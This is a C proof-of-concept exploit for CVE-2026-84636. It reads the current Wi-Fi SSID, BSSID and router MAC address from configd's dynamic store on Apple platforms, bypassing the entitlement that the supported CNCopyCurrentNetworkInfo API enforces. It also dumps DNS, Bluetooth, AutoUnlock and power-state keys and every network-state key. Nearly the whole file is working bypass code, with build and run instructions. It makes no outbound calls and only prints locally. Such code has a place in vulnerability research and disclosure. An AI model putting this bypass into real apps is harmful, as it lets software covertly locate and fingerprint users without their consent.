// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
// C twin of the Swift POC: read the Wi-Fi SSID and router MAC from configd's dynamic
// store without com.apple.developer.networking.wifi-info, and compare against the
// supported API, which refuses without the entitlement.
//
// Build: clang -O2 -o cve-2026-84636 CVE-2026-84636.c \
//          -framework SystemConfiguration -framework CoreFoundation
// Run:   ./cve-2026-84636

#include <stdio.h>
#include <string.h>
#include <TargetConditionals.h>
#include <SystemConfiguration/SystemConfiguration.h>
#include <SystemConfiguration/CaptiveNetwork.h>
#include <CoreFoundation/CoreFoundation.h>

static void show(SCDynamicStoreRef store, const char *key) {
    CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
    CFPropertyListRef v = SCDynamicStoreCopyValue(store, k);
    if (!v) {
        printf("%s: <absent>\n", key);
    } else {
        CFStringRef d = CFCopyDescription(v);
        char buf[2048] = {0};
        if (d) {
            CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
            CFRelease(d);
        }
        printf("%s: %s\n", key, buf);
        CFRelease(v);
    }
    CFRelease(k);
}

static char *field(CFPropertyListRef v, const char *name) {
    static char buf[256];
    buf[0] = 0;
    if (!v || CFGetTypeID(v) != CFDictionaryGetTypeID()) return buf;
    CFStringRef key = CFStringCreateWithCString(NULL, name, kCFStringEncodingUTF8);
    CFTypeRef item = CFDictionaryGetValue(v, key);
    if (item && CFGetTypeID(item) == CFStringGetTypeID()) {
        CFStringGetCString((CFStringRef)item, buf, sizeof(buf), kCFStringEncodingUTF8);
    } else if (item) {
        CFStringRef d = CFCopyDescription(item);
        if (d) {
            CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
            CFRelease(d);
        }
    }
    CFRelease(key);
    return buf;
}

int main(void) {
    SCDynamicStoreRef store = SCDynamicStoreCreate(NULL, CFSTR("cve-2026-84636"), NULL, NULL);
    if (!store) { printf("SCDynamicStoreCreate failed\n"); return 1; }

    printf("=== entitlement check ===\n");
#if TARGET_OS_IPHONE
    CFDictionaryRef captive = CNCopyCurrentNetworkInfo(CFSTR("en0"));
    if (captive) {
        CFStringRef d = CFCopyDescription(captive);
        char buf[512] = {0};
        if (d) { CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); CFRelease(d); }
        printf("CNCopyCurrentNetworkInfo: %s\n", buf);
        CFRelease(captive);
    } else {
        printf("CNCopyCurrentNetworkInfo: nil (wifi-info entitlement missing)\n");
    }
#else
    printf("CNCopyCurrentNetworkInfo: not available on macOS — dynamic store path only\n");
#endif

    printf("\n=== interface state ===\n");
    show(store, "State:/Network/Interface/en0/AirPort");
    CFPropertyListRef airport = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Interface/en0/AirPort"));
    printf("SSID_STR: %s\n", field(airport, "SSID_STR"));
    printf("BSSID: %s\n", field(airport, "BSSID"));
    printf("Channel: %s\n", field(airport, "Channel"));
    printf("AuthType: %s\n", field(airport, "AuthType"));
    if (airport) CFRelease(airport);

    printf("\n=== IPv4 service (router MAC) ===\n");
    show(store, "State:/Network/Global/IPv4");
    CFPropertyListRef global = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Global/IPv4"));
    char uuid[128];
    snprintf(uuid, sizeof(uuid), "%s", field(global, "PrimaryService"));
    printf("PrimaryService: %s\n", uuid[0] ? uuid : "<absent>");
    printf("Router: %s\n", field(global, "Router"));
    if (global) CFRelease(global);

    if (uuid[0]) {
        char key[256];
        snprintf(key, sizeof(key), "State:/Network/Service/%s/IPv4", uuid);
        show(store, key);
        CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
        CFPropertyListRef svc = SCDynamicStoreCopyValue(store, k);
        printf("ARPResolvedHardwareAddress: %s\n", field(svc, "ARPResolvedHardwareAddress"));
        if (svc) CFRelease(svc);
        CFRelease(k);

        snprintf(key, sizeof(key), "State:/Network/Service/%s/DHCP", uuid);
        show(store, key);
    }

    printf("\n=== privacy-relevant keys ===\n");
    show(store, "State:/Network/Global/DNS");
    show(store, "com.apple.MobileBluetooth");
    show(store, "com.apple.MobileInternetSharing");
    show(store, "com.apple.sharing:/AutoUnlock/Enabled");
    show(store, "State:/IOKit/LowBatteryWarning");
    show(store, "State:/IOKit/PowerManagement/SystemLoad/Detailed");

    printf("\n=== enumeration ===\n");
    CFArrayRef keys = SCDynamicStoreCopyKeyList(store, CFSTR("State:/Network/.*"));
    if (keys) {
        CFIndex n = CFArrayGetCount(keys);
        printf("State:/Network keys: %ld\n", (long)n);
        for (CFIndex i = 0; i < n; i++) {
            CFStringRef k = CFArrayGetValueAtIndex(keys, i);
            char buf[512];
            if (CFStringGetCString(k, buf, sizeof(buf), kCFStringEncodingUTF8)) show(store, buf);
        }
        CFRelease(keys);
    } else {
        printf("State:/Network key list: <none>\n");
    }

    printf("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement\n");
    CFRelease(store);
    return 0;
}